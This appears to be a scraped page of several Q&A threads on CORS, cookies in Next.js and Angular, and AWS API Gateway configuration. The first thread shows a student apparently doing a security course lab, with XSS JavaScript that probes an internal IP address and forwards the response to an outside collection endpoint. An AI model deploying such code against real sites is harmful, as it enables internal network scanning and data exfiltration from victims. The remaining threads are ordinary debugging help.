How can I fetch an http plain text resource from an HTTPS server - xss

I'm am basically attempting portscanning through xss and I am trying to exploit the same origin policy of my target server. I think I set the appropriate headers. I need to basically retrieve the response from a web service on the target server in plain text and forward it to my message receipt end point. I think I set the appropriate headers to enable cors but I still get the mixed content block and no object forwarded to that endpoint.
let headers = new Headers();
headers.append('Content-Type', 'application/json');
headers.append('Accept', 'application/json');
headers.append('Origin','https://cs6262.gtisc.gatech.edu/');
fetch('http://172.16.238.10:80', {
mode: 'cors',
credentials: 'include',
method: 'POST',
headers: headers
})
.then(response => response.json())
.then(function (data) {
fetch('http://cs6262.gtisc.gatech.edu/receive/ndike6/572', { method: 'POST', body: data})
});
If I am misunderstanding header usage I'd greatly appreciate the clarity

Firstly, you have to notice that Access-Control headers should be set on the side which handles the request (server side), not on the side which sends the request.
I assume that you don't have access to server and can't set those headers by yourself.
Secondly, CORS policy is implemented in WEB Browsers, so if you try to execute this code in non browser environment (e.g. NodeJS) you won't have problems.
Also Notice that in NodeJS you don't have fetch api (it's web browser's feature), but you have libraries for sending http request from backend like axios or recently release node-fetch library that corresponds to fetch api in browsers.

Related

How to read cookies in getStaticProps and getStaticPaths in Next.js

I cannot read cookies in getStaticPaths and getStaticProps, in SSR, I can request the cookie with context but even with packages such as js-cookie, cookie-cutter, cookies, I am unable to read the cookies set, which makes it impossible to get the data.
This is the token I want to get, I removed httpOnly for development.
export async function getStaticPaths(){
const data = await callApi("/jobs", "GET", token)
const paths = data.map(jobs => ({
params: {slug: jobs.slug}
}))
return{
paths,
fallback: true,
}
}
This is the getStaticPaths.
both getStaticPaths and getStaticProps are methods that run on the server (node.js), therefore cookies which is a browser API are not available yet
Cookies can be accessed both on the server req.cookies or req.headers.cookie and on the client document.cookie. But unlike getServerSideProps where the HTML is generated at runtime, getStaticProps generates the HTML at build time and therefore has no know knowledge of requesting devise/browser. This is evident from how user-agent looks when the request is sent from getStaticProps:
'user-agent': 'node-fetch/1.0 (+https://github.com/bitinn/node-fetch)'
Also, there's a demo app here showing how this all works.
If your reason for trying to access cookies from getStaticProps is for authentication, have a look at this post on The way they built the zeit.co/vercel dashboard (fully static)
Also here, using next-redux-wrapper to access state from getStaticProps.
if you have placed your cookies and want to read them you can get them in getServerSideProps ctx.req.cookies here your cookies
here is the link so you shouldn't try getting cookies in getStaticProps
https://github.com/vercel/next.js/discussions/11734#discussioncomment-3993

Access-control-allow-origin is not allowed by Access-Control-Allow-Headers in preflight response

I have prepared an Lambda function using Express(node.js) and enabled the Authorization with IAM as well.
The API is working in the Postman as per below link :
https://www.youtube.com/watch?v=KXyATZctkmQ&t=35s
As I'm fairly new with CORS policy and API concepts. I'm trying to access the sample using Ajax call.
So far I have prepared the Authorization Header as per documentation and few reference.
Git Repo Link : https://github.com/mudass1r/aws-iam-authorization.git
Reference Link for Signature Generation :
https://gist.github.com/davidkelley/c1274cffdc0d9d782d7e
I have Enabled the CORS from AWS API Gateway for my API as well.
PS : The API is Deployed using Serverless Framework.
Step 1 : The error I'm facing initial when I dont include any headers:
Step 2 : Later when I add headers:
$.ajax(Signer(credentials, {
url: <AWS API URL>,
type: 'GET',
dataType: 'json',
async: true,
crossDomain: true,
contentType: 'application/json',
headers: {
"Access-Control-Allow-Origin" : "*"
},
success: function(data) {
console.log(data);
}
}));
After which I get the following error:
In my previous experience with this error we only need to enable the CORS for the API which resolves this issue. But the same is not in this cases. Following is the structure of the API resource.
I have been stuck in this problem for few day and came across some CORS policy reference links as well.
https://fetch.spec.whatwg.org/#http-cors-protocol
Thanks everyone for your inputs and help.
Answer :
First of all the problem was not in header content. It was in the Authorization String which I was generating for AWS API Gateway authorization.
As pointed by #sideshowbarker. We don't need to add any headers in the ajax call.
The response header are enough to handle the API call.
app.use(cors())
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE');
res.header('Access-Control-Allow-Headers', 'Access-Control-Allow-Headers, Origin,Accept, X-Requested-With, Content-Type, Access-Control-Request-Method,X-Access-Token,XKey,Authorization');
next();
});
Also I switched to Firefox for debugging the API call, where I found following errors.
Because I switched to Firefox, I could see the response from AWS from which I could further debug and fix the issue.
Issue in the CanonicalRequest function :
Before
'content-type;host;x-amz-date;'
After
'content-type;host;x-amz-date'
Thanks everyone for your inputs and help.
I have updated the git repo. Please refer the same.
https://github.com/mudass1r/aws-iam-authorization

Cookie not being set on angular client

I have a backend app in django python and it is being served on http://localhost:8000.
I have a angular frontend which is being served on http://localhost:4200.
I have disabled CORS on django.
On hitting the login api on http://localhost:8000/auth/login/, I am getting a valid response
along with the Set-Cookie header.
Here is my angular code to print the cookies:
this.http.post<any>('http://localhost:8000/auth/login/', this.LoginForm, { observe: 'response' }).subscribe(response => {
console.log("response is ", response);
var cookies = this.cookieService.getAll();//('cookies');
console.log("cookies is :", cookies);
It prints an empty object on console.
How do I make this work? I want to use cookies for authentication.
You are trying to set cross domain cookies, which will not work straight away. There are a few steps to follow to be able to do that.
Set withCredentials: true when making the authentication request from angular
this.http.post<any>('http://localhost:8000/auth/login/', this.LoginForm, { observe: 'response', withCredentials: true })
Configure your server to return the following CORS headers: Access-Control-Allow-Credentials: true and Access-Control-Allow-Origin: http://localhost:4200
Note
One of the cookies that you are setting is HttpOnly. As such, you cannot access it from Javascript (see documentation).
You may not need to access the cookies with JS anyway. If you just want to send the cookies in the next API requests, just pass withCredentials: true to HttpClient other api calls
this.http.get('http://localhost:8000/path/to/get/resource',
{ withCredentials: true }).subscribe(response => {
Set-Cookies:
In the example in the Question, both client and server are in the same domain, localhost.
On deployment, this may not be the case.
Let us assume the domains as below,
Client : client1.client.com
Server: server1.server.com
A http request from the Angular web app in client1.client.com to https://server1.server.com/api/v1/getSomething has Set-Cookie: JSESSIONID=xyz in the response header.
The cookie will be set on server1.server.com and NOT on client1.client.com.
You can enter server1.server.com in the URL bar and see the cookie being set.
withCredentials:
There is no need for the angular app to read the cookie and send it in the following requests. withCredentials property of http request can be used for this.
Refer: https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials
Example:
public getSomething(): Observable<object> {
const httpOptions = {
withCredentials: true
};
return this.http.get(`${this.serverUrl}/getSomething`, httpOptions);
}
Refer: https://angular.io/api/common/http/HttpRequest
withCredentials will set the cookies from the server's domain in the requests to the server.
As mentioned before Set-Cookie: JSESSIONID=xyz in the response from server1.server.com will be set in server1.server.com. The Angular app in client1.client.com need not read it. withCredentials will take care of it.
cross domain issues:
When the server and client are in different domains, using withCredentials may not work in all browsers, as they are considered as third party cookies.
In my recent testing on May 2020, I found that withCredentials is not working in certain browsers when the client and server are in different domains.
In Safari, the issue occurs when "Prevent cross-site tracking" is enabled (by default). The issue is prevented by disabling the same. https://support.apple.com/en-in/guide/safari/sfri40732/mac
In Android apps, the issue can be avoided by using Chrome Custom Tabs instead of Android WebView. https://github.com/NewtonJoshua/custom-tabs-client , https://developer.chrome.com/multidevice/android/customtabs
Same domain:
Looks like mainstream browsers are moving to block third-party cookies.
Safari - Full Third-Party Cookie Blocking and More
Chrome (by 2022) - Building a more private web: A path towards making third party cookies obsolete
The solution is to have both the client and server in the same domain.
Client: client1.myapp.com
Server: server1.myapp.com
And in the Set-Cookie response include the root domain too.
Example: "JSESSIONID=xyz; Domain=.myapp.com; Path=/"
This will make sure the cookies are set in all cases.

API Gateway HTTP API CORS

I am using the new API Gateway HTTP which during the configuration enables you to add CORS. So I have set the Access-Control-Allow-Origin Header with the setting *.
However when I make a request using Postman I do not see that header and this i causing my VueJS Axios request to fail.
I previously used a Lambda Proxy Integration and did the following in my Lambda
"headers": {
"Access-Control-Allow-Origin": "*"
}
However the new HTTP API just does not seem to implement CORS. Maybe I am missing something simple.
--EDITS--
So I have continue to find an answer and came across a blog post from the guys at Serverless who set the following
It’ll ensure following headers:
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers:
Content-Type, X-Amz-Date, Authorization, X-Api-Key, X-Amz-Security-Token, X-Amz-User-Agent
Access-Control-Allow-Methods:
OPTIONS, and all the methods defined in your routes (GET, POST, etc.)
I have tried these and redeployed and still only get the standard headers
Thanks
For anyone using HTTP API and the proxy route ANY /{proxy+}
You will need to explicitly define your route methods in order for CORS to work.
Wish this was more explicit in the AWS Docs for Configuring CORS for an HTTP API
Was on a 2 hour call with AWS Support and they looped in one of their senior HTTP API developers, who made this recommendation.
Hopefully this post can save some people some time and effort.
If you have a JWT authorizer and your route accepts ANY requests, your authorizer will reject the OPTIONS request as it doesn't contain an Authorization/Bearer token. To resolve this issue, you need to explicitly point your route to the HTTP request/method you need. E.g. POST
In that case, your authorizer will ignore the OPTIONS request without a JWT and proceed with the required request.
(This is answer just for AWS HTTP api gateway/AWS api gateway v2).
I have met the same problem and I asked the AWS support finally. The tricky thing is actually CORS had been already working after we configured it, but I just didn't get how to test it (it's different from AWS REST API ), when test we need to specify the Origin(should be same with your setting:Access-Control-Allow-Origin in cors, like: http://example.com) and the Request method.
For example:
curl -v -X GET https://www.xxx.yy/foo/bar/ -H 'Origin:http://example.com' -H 'Access-Control-Request-Method: GET'
Then it would return the CORS header you had set in response header:
access-control-allow-origin, access-control-allow-methods, access-control-allow-headers, etc.
I just hope this can save time for who met the similar problem.
By the way, I hope AWS can update this test way to offical Document(it's not very useful, but most of people must be saw it before find real answer):
https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-cors.html
My issue was that I was sending this headers :
Access-Control-Allow-Origin
Access-Control-Allow-Methods
Access-Control-Allow-Credentials
From the web request and it was messing with the Access-Control-Allow-Headers. I removed them and it's fine now.
To debug CORS issue with AWS HTTP API, try to put a * in each field of the CORS configuration in the AWS Console and reconfigure each field one by one.
So even though i was getting cors headers in my post call, browsers were still failing,,
My solution was
explicitly create an OPTIONS route with same path {proxy+}
attach same lambda integration to it
have the lambda function return early with success headers
if (method === 'OPTIONS') {
return {
headers: { 'Access-Control-Allow-Origin': '*' },
statusCode: 200
}
}
tldr; x-api-key
It took some searching and trial and error, but I got CORS working for API Gateway HTTP API. For the very basic GET request from a jQuery ajax call here is what I had to do:
AWS Console CORS settings, needed Access-Control-Allow-Headers: x-api-key
Then, in my ajax call, I had to send a dummy x-api-key (I did not configure one, so not sure why it wants it.):
$.ajax ({
url: 'https://xxxxxxx.execute-api.us-east-1.amazonaws.com/prod/stuff/',
crossDomain: true,
method: 'GET',
headers: {
"accept": "application/json",
"X-Api-Key":"blablablalla"
},
success:function(data){
doStuff(data);
},
error: function(){
alert('error');
}
})
You may need additional configuration depending on your situation, but the x-api-key was what I narrowed down as the oddest undocumented requirement.

CORS access error for PUT method, api on aws hosted on elastic beanstalk

I've deployed an api on AWS API Gateway using http custom integration
I've enabled CORS as seen below:
(source: upload.cat)
For both GET and PUT methods, I am getting the following error:
"url from origin [my origin] has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource"
Code:
fetch(url, {
method: 'POST',
mode: "cors",
headers: {
'Content-Type': 'application/json',
'Access-Control-Allow-Headers': 'Content-Type,X-Amz-Date,Authorization,X-Api-Key,X-Amz-Security-Token' //copied from screenshot above
},
body: JSON.stringify(data)
})
.then(response => console.log('Success:', response))
.catch(error => console.error('Error:', error));
}
Access-Control-Allow-Headers are set in the server, you should remove it from your code. It won't make any difference if you put it in your request.
Is your API Gateway method protected by Lambda Authorizer or configured to use an API Key? If so, request might be rejected by one of them and response won't include Access-Control-Allow-Origin header so browser's preflight check will be failed.
You also need to check what response is being returned by API method integration. In case of Proxy Lambda, response should include Access-Control-Allow-Origin header.
Take a look at integration response documentation.